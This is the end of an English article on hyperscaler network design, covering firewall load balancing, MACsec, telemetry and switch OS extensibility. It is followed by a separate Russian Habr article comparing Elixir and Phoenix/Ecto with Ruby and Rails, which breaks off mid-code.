Starting from MSS with a 3rd party firewall. Design elements Trident3 based VTEP as Leafs and Service Leaf, CVX as VxLAN control-plane, coexist with non vxlan vlans as MSS-FW acts as gateway. All L3 subnets use MSS redirect policy. Use offload rules to debug any problematic host
Another approach is to use Group based MSS. Segmentation uses a combination of the routing tables and TCAMs, segments are identified using a segment identifier from the routing tables. Route lookup involves Source and Destination IP addresses, routing table scale reduced to almost half due to dual lookup which is performed at line rate, does not impact any other functionality that uses routing tables. Policy enforcement done in TCAM - match based on segment identifier, enforcement action is to drop or allow the traffic at line rate. In MSS-G there is no control plane involvement once segment policies are programmed in the hardware. Feature interaction similar to security ACLs
#### Load balancing between firewall clusters
It might be a big and non-trivial question, answer to which could depend on a variety of constraints, but it is easy to come across a question in a variation of the following -
What tricks to use to ensure the correct hashing for traffic traversing firewall clusters on both sides when passing from DC1 to DC2 and backwards? What if firewall clusters located in each DC can't sync sessions state between each other, as it is proposed by some firewall vendors? How do you make sure the network is providing the correct result of hashing on both sides?
We have to make the assumption that an operator can run all sorts of traffic: TCP, UDP, QUIC and does not have the capacity to run something like Maglev - a large distributed software system for load balancing on commodity Linux servers, so this question here is solely about ECMP knobs from real life deployments and any other tricks.
**Option1:** Ensure to have the Symmetric Reverse hashing for ECMP on both sides, Example:
<https://www.arista.com/assets/data/pdf/Whitepapers/PANW_Symmetric_Scale.pdf>
* FW as a L2 vwire, hashing based on fixed fields (fixing what IP gets sent to which FW as long as the I/F is up)
* Solution consists of Trident based OpenFlow Direct Mode switches (Arista 7050 series), each switch interconnects with each FW unit
* Event handler tracking the status of interfaces status change and triggerin a script
* The script is fed buy event handler variables and creates hash buckets based on the number of devices to be included in the hash
* A priority value is used to ensure that if a link or firewall fails, the next device in the hash takes over
* Flows from one side are hashed based on source IP while the return traffic is hashed based on destination IP to ensure the response traffic traverses the same firewall.
**Option2:** Stateless hashing:
* Similar approach as with Option1, but in this case no OpenFlow involved and hence no active session tracking
* The operation relies on a NHG configuration and resilient ECMP functionality
* no ip load-sharing sand fields ingress-interface
* Proved to be operational on multiple cases, e.g. Load Balancing for CGNAT appliances
**Option3:** Reduce the mode of operation of FW to stateless.
Option4**:** Arista CCF (Former Big Switch BCF) + Checkpoint Maestro. This option seem to be unsupported anymore but still looks interesting. Forwarding the traffic to Maestro as a Service Chaining. And Maestro shares the sessions to the FWs. CCF has multiple VRFs and they are called (E-VPC) Enterprise Virtual Private Cloud.
Service Chaining is an architecture to insert a service (FW, IPS, LB) between two VRFs. Then, a policy is created in the CCF to redirect the traffic to an external device before forwarding it to another VRF. If the external device is not the default gateway and the traffic needs to be inspected by an external device before hitting VRF B, the policy will enforce that a traffic coming from VRF goes to the external device (FW). The FW has a route to send the traffic back to the VRF B. If the customer has multiple FWs working as active, CCF will load balance the sessions between the FWs and it will keep the track of the session to make sure that the packets from the same session is forwarded to the same FW.
In the other case, CCF supports ECMP and keeps the track of the session, so we configured ECMP with Next Hop to send the traffic to multiple Palo Alto FWs.
Security in Hyper Scale environment
-----------------------------------
For the reason of enormous scale security is pushed to nodes: move networking functionality out of the kernel and into userspace modules through a common framework. As for example The Snap architecture has similarities with a microkernel approach where traditional operating system functionality is hoisted into ordinary userspace processes.
Unlike prior microkernel systems, Snap benefits from multi core hardware for fast IPC and does not require the entire system to adopt the approach wholesale, as it runs as a userspace process alongside our standard Linux distribution and kernel. Snap engines may handle sensitive application data, doing work on behalf of potentially multiple applications with differing levels of trust simultaneously.
Snap runs as a special non-root user with reduced privilege, although care must still be taken to ensure that packets and payloads are not mis-delivered. One benefit of the Snap userspace approach is that software development can leverage a broad range of internal tools, such as memory access sanitizers and fuzz testers, developed to improve the security and robustness of general user-level software.
The CPU scheduling modes also provide options to mitigate Spectre-class vulnerabilities by cleanly separating cores running engines for certain applications from those running engines for different applications
Snap a Microkernel Approach to Host Networking are [described by Google here](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/36f0f9b41e969a00d75da7693571e988996c9f4c.pdf).
#### Link Layer Security
MACsec is an IEEE standard for security in wired ethernet LANs described in <https://1.ieee802.org/security/802-1ae/>**.** For switches and routers capable of supporting multiple terabits of throughput MACsec can provide line rate encryption for secure connections, regardless of packet size, and scales linearly as it is distributed throughout the device. The MACsec Key Agreement Protocol (MKA) specifies mutually authenticated MACsec peers, and elects one as a Key Server that distributes the symmetric Secure Association Keys (SAKs) used by MACsec to protect frames. MACsec adds 24 bytes (sectag + ICV) to every encrypted frame.
Considering this, MACSec becomes a pretty interesting option to secure P2P connections, as for example WAN links. A great deal of caution should be taken though when interoperability between vendors is required. As for example, some vendors still don’t support Fallback keys, or if a device is not a key server, it does not install Tx SAK after a link flap. There is no point to list all the findings here, but it would worth to mention that interop testing is crucial for success.
Monitoring and control
----------------------
One of the main goals of network monitoring is to locate the failed part in an appropriate period of time. Sooner or later everybody realises that good efficient monitoring is as important as good networking design. The cheapest way to monitor a network and alert network ops team is by means of customer complaint. This is not as cheap as it could be expensive and not working really well in large networking environments. If you are lucky enough and have a mono-vendor network without any plans to introduce diversity into your networks - your vendor will likely provide you with some proprietary means of monitoring However, not everyone is so lucky.
#### A common approach to monitoring via OpenConfig
Use standardised vendor neutral data models for streaming telemetry via OpenConfig. This allows to stream off a box all the raw state of a box in a commonly understandable language. Streaming happens over gNMI or gRPC. This brings you to a whole streaming telemetry world where you can stream all the data and/or subscribe to status changes. Data models are structured in YANG models, which are vendor neutral, which represent the state tree of a device and also across devices.
Data modes are Structured and published like MIBs for SNMP, however in OpenConfig they are open sourced so you can continue to contribute to them and access them in a much faster and simpler way. The OpenConfig state tree defines all sorts of familiar concepts like mac-, arp-tables, bgp router id, RD etc. Also it contains less familiar concepts like key-value store of network instances - providing the mechanism of effectively communicating data not just for one box but for all devices. Check this refreshed on OpenConfig: <https://www.youtube.com/watch?v=3T0j8AzsGBo&t=637s>
Another way to approach monitoring is by the means of end-hosts. Pretty much every hyperscaler publicly reported at least one variation of this approach that they use. This works via agents installed on end-hosts, each agent has a goal to send some traffic, usually tcp, udp and icmp with colors of DSCP and target a variety of destinations. The data is aggregated, stored and analysed, as a result you get an idea how reachability b/w different hosts look like. Examples: <https://presentations.clickhouse.tech/meetup7/netmon.pdf> and <https://engineering.fb.com/core-data/netnorad-troubleshooting-networks-via-end-to-end-probing/>
Some approaches were even put as IETF draft, as Active data plane probes <https://tools.ietf.org/html/draft-lapukhov-dataplane-probe>. These don’t carry application traffic. They are separate INT packets - sort of like ping, traceroute except they would be handled in the data plane in the transiting nodes. The advantage of this tactic is - you get the picture as granular as two hosts in one rack and as scaled out as reachability b/w two datacenters.
Disadvantages - no visibility into where exactly packets are lost. There are ways to improve it by, for example marking TCP SYN-retransmits and matching via ACL on devices. The idea is great, but also requires fine tuning - the threshold will depend on the number of packets transmitted via a device, so it’s not straightforward but doable. It’s done via eBPF. It can be used for many things: network performance, firewalls, security, tracing, and device drivers. The tcpretrans utility displays details about TCP retransmissions, such as the local and remote IP address and port number, as well as the TCP state at the time of the retransmissions. The utility uses eBPF features and, therefore, has a very low overhead.
What else will help you to drill down such a problem?
Traceroute, good but not good enough if you have to deal with encapsulation, as you need to tunnel ICMP TTL-exceeded messages.
How about a device telling you that it is experiencing an issue by means of a large variety of self probes available via Health Tracker (<https://eos.arista.com/eos-4-21-0f/health-tracker/>). The feature uses the event-handler infrastructure to set up monitoring conditions that detect bad events and associate them with various metrics like voltage, temperature, cooling, power, hardware-drops, etc.
Queue utilisation and congestion monitoring is possible via Latency Analyzer (LANZ).
What else - it would be nice to see what’s going on in the data plane at the moment of the issue by intercepting traffic, there are three options:
* Intercept on a end-host - usually burdens the device, so likely not applicable to all scenarios
* Intercept on a switch by mirroring to CPU, usually works great for control plane debug, but data plane can exhaust CoPP allowance and not show important packets in a stream
* Intercept via TapAgg <https://www.arista.com/assets/data/pdf/Whitepapers/TAP_Aggregation_Product_Brief-2.pdf>
* Tap aggregation is the accumulation of data streams and subsequent dispersal of these streams to devices and applications that analyze, test, verify, parse, detect, or store data.
#### LANZ Mirroring
Lanz Mirroring (<https://eos.arista.com/eos-4-21-0f/lanz-mirroring/>) is a feature of active dataplane monitoring and available features. It allows users to automatically mirror traffic queued as a result of congestion to either CPU or a different interface. Current Telemetry mechanisms support only exporting counters at various stages of pipeline at regular intervals.
#### INT
Inband Telemetry (INT) allows for collecting per packet telemetry information as the packet traverses a network across multiple nodes. Every node appends telemetry information as the packet passes through the switch in the data plane. It gives fine-grained information for specific flows, microbursts, network misconfiguration etc. We can carry INT information over mirrored and truncated copies of sampled packets. Currently there are two specs - IFA 1.0 and IFA 2.0. So interoperability with other vendors is crucial. (<https://tools.ietf.org/html/draft-kumar-ippm-ifa>)
#### Mirror on drop
Mirror on drop - when an unexpected flow drop occurs in the ingress pipeline, a set of TCAM rules is installed captures the first 80 bytes of the first packet, and mirrors it together with timestamp and the drop reason to pre-configured external collectors over a UDP dataframe. As a result you get a START event: timestamp + drop reason + first 80B of a packet. Subsequent drops are not mirrored. If there are no flow drops for a configurable duration of N seconds, report a STOP event.
#### Postcard based telemetry
To gain detailed data plane visibility to support effective network OAM, it is essential to be able to examine the trace of user packets along their forwarding paths. Such on-path flow data reflect the state and status of each user packet's real-time experience and provide valuable information for network monitoring, measurement, and diagnosis. Such mechanism is described in <https://tools.ietf.org/html/draft-song-ippm-postcard-based-telemetry-08>
Operates by selecting packets of a flow from each node and sending copies to the collector via a GRE tunnel along with basic telemetry information. This approach differs from INT (Inband Network Telemetry) by sampling packets out-of-band. A few things to consider - IFA (Inband Flow Analyser) is not yet standardized in IETF and needs sophisticated support from the underlying hardware which may not be available across the variety of chips. Packet copy can cause some inconsistencies in packet counters and QoS configurations. In comparison, INT exports the telemetry data at the end-nodes. If packets are dropped somewhere in the path, INT data will be lost and also, we cannot pinpoint the drop location. INT packets traversing tunnels within the INT domain require special handling during encap and decap processes which are more involved.
#### Comparing to GRE-EN-SPAN
(<https://www.arista.com/assets/data/pdf/Whitepapers/Arista_Enabling_Advanced_Monitoring_TechBulletin_0213.pdf>), one can notice in the case of Postacd, samples from different switches are coordinated so that we sample the same packet(s) from all the switches in the path. However, in the case of GREENSPAN those packets are independently mirrored. Timestamp is one of the important attributes of Postcard which provides the timestamp by punting the packets to the CPU and computing the PTP timestamp in the CPU.
All in all, there is no silver bullet, but a couple of ideas put together in a mix could be interesting.
Extensibility of network OS
---------------------------
Why extensibility matters? Saves time, gives flexibility, works around the clock - automate everything which you might have to do manually via cli. Rely less on vendor - build you own features and control the release cycle. You own the switch, so you should be able to do whatever you need on it. Even if a customer doesn’t know how to program/code, there are places like github/gitlab where other customers share nice things. The only requirement is to have Linux-based OS and high quality APIs.
#### API options
* SNMP - well documented, ubiquitous, well integrated, common types of config and notification, but very slow to get new features
* Linux Bash - many great tools exist for linux, if you Network OS is linux you can just drop and go. Standard utilities like ping, traceroute, mtr, cronjobs etc. Many commands may be even integrated with CLI, so you don’t need to switch between cli and bash to execute them
+ Example of bash application - Spotify’s SIR - BGP controller <https://github.com/dbarrosop/sir>
* eAPI - eAPI uses JSON-RPC over HTTPS. What this means in simpler terms is that the communication to and from the switch consists of structured data (JSON) wrapped in an HTTPS session. Furthermore, this structured data has a particular nature–RPC. RPC, which stands for remote procedure call, makes remote code execution look similar to a local function call. Use any programming language (C++, Python, Go, Java, Bash):
+ Python library <https://pyeapi.readthedocs.io/en/latest/>
+ Node.js, Go, Ruby libraries are also available on github: [https://github.com/thwi/node-eAPI](https://github.com/dbarrosop/sir), [https://github.com/fredhsu/eapigo](https://github.com/dbarrosop/sir), [https://github.com/imbriaco/arista-eapi](https://github.com/dbarrosop/sir)
Create custom extensions, custom CLI show/config commands, integration with eAPI, using EosSdk wrappers to look at the data within the CLI context. Examples:
* Arista ML2 Mechanism Driver implement ML2 Plugin Mechanism Driver API. This driver can manage all types of Arista switches. For further details, please refer to Arista OpenStack Deployment Guide: <https://wiki.openstack.org/wiki/Arista-neutron-ml2-driver>
* FlowSpec for real-time control and sFlow telemetry for real-time visibility is a powerful combination that can be used to automate DDoS mitigation and traffic engineering. Here is an example using the sFlow-RT analytics software. The sFlow-RT REST API Explorer is a simple way to exercise the FlowSpec functionality. In the article it is demonstrated how to push a rule that blocks traffic from UDP port 53 targeted at host 10.0.0.1. This type of rule is typically used to block a DNS amplification attack.
* Understand ECMP using sFlow and eAPI: <https://blog.sflow.com/2019/07/arista-bgp-flowspec.html>
#### SDK
Full programmability on top of network devices is available through SDK for purposes of customisation - write agents optimised to your requirements, performance - share state with other agents, react to events, integration - agents can interact with other software agents and services externally, convenience - documentation, extensive APIs and lot’s of examples, and portability - agents can run on different switсhes.
Arista EOS SDK written agent, as for example, is like other agents (MLAG, LED agent, ProcMgr) - Layer2 SysDB. Write agents and then hook SDK bindings and write and read their data directly to SysDB is possible. Allowing everyone that power gives an option to behave like native full power agent That is great for resolving some of the limitations of eAPI: performance and efficiency.
Another advantage of SDK over eAPI is you will get a notification when an event happens, as any other native agent would do. You can do all sorts of custom routing and provision actions such as - provisions of NHs, tunneling, program QoS, PBR etc.
So the way how SDK works is - you build your own agent locally against the C++ headers that your vendor provides. Otherwise you can just use Python and don’t use any sort of headers
On the switch the agent dynamically links to libeos.so library. Vendor has to be very strongly versioned, and follow very strict versioning system to make sure that a customer knows when to recompile, when APIs have changed entirely and pre-existing code won’t work anymore etc
Examples of custom agents could be Open/R which is being used in Facebook’s backbone and data center networks: <https://engineering.fb.com/2017/11/15/connectivity/open-r-open-routing-for-modern-networks/>
The platform supports different network topologies such as WANs, data center fabrics, and wireless meshes as well as multiple underlying hardware and software systems (FBOSS, Arista EOS, Juniper JunOS, Linux routing. Supports features like automatic IP prefix allocation, RTT-based cost metrics, graceful restart, fast convergence, and drain/undrain operations.
#### Extensibility of CLI
For operational purposes it is extremely useful to be able to customize or even to create a custom CLI commands. CLI plugins, Custom CLI show/config commands which integrates with eAPI using SDK wrappers to look at the data within the CLI context. Below will be reviewed an example of Arista EOS CLI.
Example of changes to existing native CLI commands - on the switch drop down to bash and obtain root edit /usr/lib/python2.7/site-packages/CliPlugin/IraIpCli.py and copy the modified script via rc.eos before the agents even start. Event handler triggers based on any criteria, launch any script, command or program.
It’s also proven to be great to create CLI commands alias to shortcut any frequently used show or configurational commands:
`bgpFA6 show ipv6 bgp summary | egrep -v "64502|65000"`
Stream your switch packet capture directly to your workstation:
`ssh root@ "bash sudo tcpdump -s 0 -Un -w - -i " | wireshark -k -i`
Add perfectly legit alias to print interface description along with ‘`show ip int brief`’
`alias showipintdesc sho ip interface | json | python -c $'import sys,json;data=json.load(sys.stdin)\nfor i in data["interfaces"]: int=data["interfaces"][i]; print "{0:12} {1:>15}/{2:2d} {3:60} {4:<16}".format(int["name"],int["interfaceAddress"]["primaryIp"]["address"],int["interfaceAddress"]["primaryIp"]["maskLen"],int["description"],int["interfaceStatus"])'`
Combine the Event handler, python and OS APIs, and you’ve got pretty much everything you need to automate any complex operation on your network, just make sure your vendor support and test this. If we were to compare APIs and create a cross section it would look something like this:
| | | | | |
| --- | --- | --- | --- | --- |
| | **Audience** | **Notification** | **Ease of Use** | **Use Case** |
| CLI Scraping | Traditional Network Operators | No | Hard | Scripting and Automation, the painful way |
| eAPI | Traditional Network Operators | No | Easy | Scripting and Automation |
| SNMP | Traditional Network Operators | Traps | Medium | Monitoring, limited programmability |
| OpenConfig | Network Software Engineers | Yes | Medium | Control plane extension (controller), management plane, monitoring |
| SDK | Network Software Engineers | Yes | Hard | Control plane extension on box |
| Linux APIs | Tech savvy Network Operators | Netlink (Meh) | Medium | Control plane extension on box |
| CVP | Traditional Network Operators | Yes | Easy | Network-wide apps, management plane, monitoring |
Conclusion
----------
In conclusion I’d like to add that there are lots of similarities in how Hyperscalers are designing their networks. Major principles are the same - IPv6 is key, scaling out VS scaling up: leaf-spine design and CLOS. The amount of tooling built around standard control management, CLI, provisioning and monitoring is huge, so ideas might be re-used for others as they are mostly open sourced. Automation is crucial - starting from ZTP and traffic draining and covering every possible aspect to rebuilds and tech support collection and upload. Due to the size of network devices fleet - there is no way the amount of NOC engineers will be proportional. Understanding this from a support perspective is important.
The important topic which often goes under radar, in my opinion, is the testing. It is crucial to do thorough testing. This means testing with high state churn at scale a customer will deploy. I.e. we can’t assume that it will simply work, not even with the most simple functionality.
Why? Because the simple functionality is only simple when looked under the microscope in the lab. In production it will be a part of a sophisticated tool chain and this is when things start to get real. Learning from industry leaders makes it easy to avoid mistakes, as for example - thoroughly choose and qualify the next release for your equipment based on the detailed BUG scrubs, hence up to date BUG info is very important. Plan the release lifecycle in advance, so you have time to address any issues and recompile your custom tools in case there are any major changes in libraries or APIs.
Due to the constant change in architecture at pretty much any hyperscaler, it is expected that some of the data in this document is not reflecting the current state at any mentioned network operator anymore as of June-2021.
33 | https://habr.com/ru/post/565890/ | null | en | null |
# Трудности перехода: каков Elixir на вкус после Ruby
Знакомство
----------
Привет! Меня зовут Наталья. В Каруне я пишу в команде высоконагруженные сервисы на Elixir.
Это третья компания, в которой я работаю на Elixir. До этого я писала на Ruby. Если посмотреть свежее исследование Хабр Карьеры по зарплатам, можно увидеть — зарплаты рубистов растут, а Elixir там нет. Более того, есть истории о том, как люди возвращались с Elixir обратно на Ruby. Я считаю, что на это сильно влияет вход в язык. Elixir классный, но в первые месяцы знакомства с ним мне самой так не казалось. Настолько классный, что я не хочу назад. В этой статье я расскажу про трудности ~~перевода~~ перехода.
> **Elixir** is a functional programming language which looks *similar* to **Ruby**.
>
>
В IT сообществе существует мнение, что рубисты легко переходят на Elixir. Ещё бы — сам создатель языка Jose Walim в прошлом рубист. Не просто рубист, а core разработчик Ruby on Rails. Можно подумать, что Elixir — это Ruby после прокачки. Тебе будет так же удобно/быстро/классно писать на нём, плюсом идёт вся мощь Erlang’а. Мне в своё время очень нравился Ruby. И предложение перейти на Elixir казалось заманчивой перспективой.
Ruby |> Elixir
--------------
Изучая новую технологию, я стремлюсь как можно быстрее попробовать что-то сделать руками. Да, стоит зайти на сайт с документацией. Ознакомиться с синтаксисом. И быстрее в терминал, делать простые штуки.
После беглого знакомства с документацией в моей голове был примерно такой план перехода между языками. Оператор “|>” означает передачу результата выполнения одного выражения в следующее.
```
Ruby
|> remove_OOP()
|> add_some_functions()
|> save_TDD()
|> add_OTP()
|> save_syntactic_sugar()
{:ok, Elixir}
```
Кажется, достаточно простые шаги. Забываем про ООП. В стандартной библиотеке будут знакомые функции. Будет что-то новое. Но тесты никто не отменял. Есть целая новая реальность под названием Open Telecom Platform. Открываем VS Code.
```
%{a: 1} # map in Elixir
{a: 1} # hash in Ruby
# Lists
[1, 2, true, 3] # Elixir, Ruby
# Concatenate lists
[1, 2, true, 3] ++ [5, 7] # Elixir
[1, 2, true, 3] + [5, 7] # Ruby
# Calling function/method
String.reverce("hello") # Elixir
"hello".reverse # Ruby
# An anonymous function
fn(x) -> x * x end # ELixir
-> x {x * x} # lambda in Ruby
# Using each
Enum.each([1, 2], &(IO.puts &1)) # Elixir
[1, 2].each { |i| puts i } # Ruby
# Defining a function in Elixir
def hello do
"result"
end
# Defining a method in Ruby
def hello
"result"
end
# Defining a module in Elixir
defmodule Example do
end
# Defining a module in Ruby
module Example
end
```
Очень похоже. Подумаешь: вместо вызова метода у объекта мы вызываем функцию, указывая имя модуля.
Давайте сделаем что-нибудь полезное. Например, напишем модуль, который будет определять, является ли год високосным.
Ruby
```
class Year
def self.leap?(year)
@year = year
div_by?(4) && ( !div_by?(100) || div_by?(400) )
end
def self.div_by?(number)
@year % number == 0
end
end
```
Elixir
```
defmodule Year do
def leap?(year) do
div_by?(year, 4) && ( !div_by?(year, 100) || div_by?(year, 400) )
end
def div_by?(year, number) do
rem(year, number) == 0
end
end
```
В методы приходится пробрасывать год. Остаток от деления получается через функцию. Надо не забывать писать do при объявлении после названия модуля или функции.
Давайте теперь этот функционал потестируем и заодно посмотрим на фреймворк для тестов в Elixir. Он поставляется вместе с языком. Для полноты сравнения языков я беру со сторону Ruby minitest., т.к. со стороны Elixir у нас классическое Test Driven Development. Бывшие рубисты, естественно, наклепали уже себе [espec](https://github.com/antonmi/espec). Он, правда, не особо прижился. Так что переучиться так или иначе придётся. Давайте посмотрим, насколько сильно — при условии, что minitest вы хоть раз видели. И помним о том, что мы тестируем утверждения.
Ruby
```
require 'minitest/autorun'
require_relative 'leap'
class YearTest < Minitest::Test
def test_year_not_divisible_by_4_common_year
# skip
refute Year.leap?(2015), "Expected 'false', 2015 is not a leap year."
end
def test_year_divisible_by_4_not_divisible_by_100
assert Year.leap?(1996), "Expected 'true', 1996 is a leap year."
end
def test_year_divisible_by_100_not_divisible_by_400
refute Year.leap?(2100), "Expected 'false', 2100 is not a leap year."
end
def test_year_divisible_by_400
assert Year.leap?(2000), "Expected 'true', 2000 is a leap year."
end
def test_year_divisible_by_200_not_divisible_by_400
# skip
refute Year.leap?(1800), "Expected 'false', 1800 is not a leap year."
end
end
```
Elixir
```
Code.load_file("leap.exs", __DIR__)
ExUnit.start()
ExUnit.configure(exclude: :pending, trace: true)
defmodule LeapTest do
use ExUnit.Case
test "2015 year not divisible by 4" do
refute Year.leap?(2015)
end
# @tag :pending
test "1996 year divisible by 4 not divisible by 100 leap year" do
assert Year.leap?(1996)
end
test "2100 year divisible by 100 not divisible by 400" do
refute Year.leap?(2100)
end
test "2000 year divisible by 400 leap year" do
assert Year.leap?(2000)
end
test "1800 year divisible by 200 not divisible by 400" do
refute Year.leap?(1800)
end
end
```
Снова отличия, кроме уже названных, не так уж велики. Скипать тесты можно, это делается через кастомный тэг. Достаточно его указать в конфигурации как исключающий: “exclude: :pending”.
В этот момент появляется мысль…
Hey, Brain! I can write on Elixir?!
Ruby on Rails |> Phoenix
------------------------
С языком было легко, давайте посмотрим, что там с фреймворками. В кратком изложении я для себя это собрала в таком виде:
```
Rails controller == Phoenix controller (in Context)
Rails model =~ Ecto (Schema + Repo + Query + ...)
Rails view (template) =~ Phoenix view + template
Rails serializer == Phoenix view
Rails seeds/tasks =~ Phoenix seeds/tasks
Rails migrations =~ Ecto migrations
Rails console != Phoenix console
```
Покажу подробнее те аспекты, в которых наибольшие различия.
### Миграции
Заходим в консоль и смотрим доступные действия с миграциями.
Ruby
```
rails db:migrate
rails db:rollback
rails db:rollback STEP=2
rails db:migrate VERSION=20181213084911
rails db:migrate:redo VERSION=20181213084911
rails db:migrate:up VERSION=20181213084911
rails db:migrate:down VERSION=20181213084911
```
Elixir
```
mix ecto.migrate
mix ecto.migrate -r Custom.Repo
mix ecto.migrate -n 3
mix ecto.rollback
mix ecto.rollback --step 2
mix ecto.migrate -to 20181213084911
mix ecto.rollback -to 20181213084911
# What?!
```
Ожидаемо мы можем накатывать и откатывать миграции на некоторое количество шагов. Неожиданно появляется какой-то кастомный Repo. Нельзя откатить или накатить конкретную миграцию через вызов таски. Только пачку миграций, друг за другом — до указанной версии.
Если покопаться в API Ecto, то через выполнение кода в принципе можно...
```
Ecto.Migrator.with_repo(your_repo, &Ecto.Migrator.run(&1, :down, to: version))
```
Что это за Repo, посмотрим дальше.
### Взаимодействие с базой
Это вторая вещь, которая максимально выбивает из колеи. Первая — сама функциональная парадигма. Дело в том, что как мир веб разработки пропитан ООП, так и общение с базой в мире ООП означает повсеместное использование ORM. В Rails мы обращаемся с записью из БД как с объектом с помощью Active Record. Забывая, что под капотом это просто данные. При знакомстве с языком Elixir мы уже утратили часть объектно-ориентированного взгляда на мир. Приходит время утратить его до конца (по возможности). На сцену выходит Ecto. Первое, что нужно уложить в голове: Ecto — это data mapper + query builder DSL.
```
Active Record is ORM, gives us:
- models and their data
- associations between models
- models validation
- database operations in an object-oriented style
Ecto differs from other ORMs:
- schemas and their data
- associations between schemas
- changeset with validations
- database operations in functional style with Ecto modules (Repo, Query, etc.)
```
Модель превратилась в схему данных. Ассоциации никуда не делись. Чтобы увидеть, из каких полей состоит таблица, больше не надо куда-то ходить. Схема описывает доступные поля таблицы. Есть любопытный нюанс: схема не обязана описывать все поля. Схемой мы ограничиваем подмножество полей таблицы, с которым хотим работать. Зачем? Я могу придумать только пару примеров:
1. Какое-то поле стало нельзя менять, но оно ещё используются другими клиентами/приложениями. Такое поле можно убрать из схемы, но оставить в БД.
2. Разные наборы полей для разных контекстов. Разные подмножества полей используются в разных контекстах приложения.
Возможно, оба примера покажутся синтетическими — я открыта для ваших примеров, предлагайте, пожалуйста, в комментариях.
Ruby
```
class OnlineTracking < ActiveRecord::Base
belongs_to :startup
belongs_to :expert, class_name: 'User'
has_one :expert_startup_rate, class_name: 'ExpertAnketa::StartupRate', dependent: :destroy
has_many :slots, class_name: 'OnlineTracking::Slot', foreign_key: :online_tracking_id
validates :startup_id, presence: true
validates :start_at, presence: true
validates :weeks, presence: true, numericality: { only_integer: true }
enum pause_status: {
disabled: 0, # отключение
date_changed: 1, # перенос
}
after_create :make_anketas
after_update :update_startup_leads, if: Proc.new { |ot| ot.finished_at.present? || ot.deleted? }
```
Валидации находятся внутри схемы, но отвечает за них changeset (Ecto.Changeset). Что это означает? Changeset — дополнительное ограничение подмножества полей, с которыми вы хотите работать. Подмножество от подмножества от подмножества… Дело в том, что поля нельзя изменить НЕ через changeset. Хотя стоит сделать оговорку: технически можно воспользоваться Repo.update\_all/3, либо выполнить чистый SQL-запрос. Но на мой взгляд лучше пойти в обход.
Отсутствие прямой возможности изменений кажется странным — но ровно до того момента, когда узнаешь, что у схемы может быть несколько changeset’ов. Самый простой пример, почему удобно использовать такую конструкцию — таблица пользователей. При создании пользователя мы заполняем большинство полей, а при редактировании не хотим давать доступ ко всему подряд. Для ряда пользователей часть полей могут быть недоступными для изменений всегда (собственная роль, например). Сколько потребностей по ограничениям — столько changeset’ов понадобится. Смена пароля, смена email, редактирование профиля, создание пользователя — разные формы, разные changeset’ы. Ещё одно удобство в том, что внутри changeset’а используются только нужные валидации. Те. только те, которые касаются изменяемых полей — в то время как типичная модель ActiveRecord по мере развития проекта превращается в нагромождение валидаций и callback’ов. В этом хаосе очень сложно разбираться. Модель может выполнять различные действия: отправлять два вида нотификаций, считать промежуточные баллы, выдавать результат сложного запроса для отчётов…
Давайте посмотрим, как Phoenix позволяет разделить работу с данными по слоям.
Elixir
```
defmodule App.Accounts.User do
use Ecto.Schema
import Ecto.Changeset
alias Ecto.Changeset
alias App.Accounts.User
alias App.CompanyManagement.Employee
alias App.EmailType
alias App.Repo
@required [:email, :password]
@optional [:type]
schema "users" do
field :email, EmailType
field :password, :string, virtual: true
field :password_confirmation, :string, virtual: true
field :password_hash, :string
field :recovery_token, :string
field :refresh_token, :string
field :type, UserTypeEnum
has_one :employee, Employee
timestamps(type: :naive_datetime_usec)
end
@required_fields ~w(email)a
@optional_fields ~w()a
def changeset(%User{} = user, attrs) do
user
|> cast(attrs, @required_fields ++ @optional_fields)
|> validate_required(@required_fields)
|> unique_email()
end
def email_changeset(%User{} = user, attrs) do
user
|> cast(attrs, [:email])
|> unique_email()
end
def create_changeset(%User{} = user, attrs) do
user
|> cast(attrs, @required ++ @optional)
|> validate_required(@required)
|> unique_email()
|> unique_constraint(:id, name: :users_pkey)
|> validate_password(:password)
|> put_pass_hash()
end
def recovery_changeset(%User{} = user, %{"password" => password}) do
user
|> change(%{recovery_token: nil, refresh_token: nil, password: password})
|> validate_password(:password)
|> put_pass_hash()
end
```
Помимо changeset’а и схемы User для совершения манипуляций с таблицей нам понадобится Repo. Модуль адаптер — репозиторий для взаимодействия с конкретной базой.
```
defmodule App.Accounts.UserQueries do
alias App.Accounts.User
alias App.Repo
def create(attrs \\ %{}) do
%User{}
|> User.create_changeset(attrs)
|> Repo.insert()
end
def update(%User{} = user, attrs) do
user
|> User.changeset(attrs)
|> Repo.update()
end
def delete(%User{} = user) do
Repo.delete(user)
end
def update_refresh_token(%User{} = user, refresh_token) do
user
|> User.refresh_token_changeset(%{refresh_token: refresh_token})
|> Repo.update()
end
end
```
Как видно из примеров, функций внутри схемы нет. Данные отдельно, действия с этими данными отдельно. С запросами на чтение данных ситуация поменялась. В Rails у нас скоупы внутри модели и возможность получать через точку ассоциации.
```
scope :finished, -> { where('finished_at is not null') }
scope :active, -> { where(active: true) }
scope :recommended, -> { where(status: OnlineTracking.statuses[:recommended]) }
scope :by_start_date, -> (date_from, date_to) { where('start_at BETWEEN ? AND ?', date_from, date_to) }
```
Ecto для простых запросов предлагает использовать уже знакомый нам Repo, а для более сложных — DSL под названием Ecto.Query.
```
defmodule App.Catalog.HouseQueries do
import Ecto.Query, warn: false
alias App.Repo
alias App.Catalog.House
alias App.Catalog.ResidentialComplex
def get(id), do: Repo.get(House, id)
def list(params, search_params \\ nil) do
list_query()
|> filter_city(search_params[:city_id])
|> Repo.paginate(params)
end
defp list_query() do
from h in House,
where: is_nil(h.archived_at),
preload: ^preload_list()
end
defp filter_city(query, nil), do: query
defp filter_city(query, city_id) do
from i in query,
join: r in ResidentialComplex,
where: i.residential_complex_id == r.id,
where: r.city_id == ^city_id
end
```
Возможность писать запросы на чистом SQL есть в обоих языках.
Получается, в Elixir нужно всё писать руками? Получается…
Пример реализации счётчика дочерних объектов внутри таблицы.
Ruby
```
class Book < ApplicationRecord
belongs_to :author, counter_cache: :count_of_books
end
```
Elixir
```
defmodule App.Catalog.ResidentialComplex
schema "residential_complexs" do
field :houses_count, :integer, default: 0
has_many :houses, Catalog.House
end
defmodule App.Catalog.House do
# schema
def changeset(house, attrs) do
house
|> cast(attrs, @required ++ @optional)
|> validate_required(@required)
|> prepare_changes(&complex_houses_count/1)
|> assoc_constraint(:residential_complex)
end
defp complex_houses_count(changeset) do
if complex_id = get_change(changeset, :residential_complex_id) do
if changeset.action == :update do
prev_complex_id = changeset.data.residential_complex_id
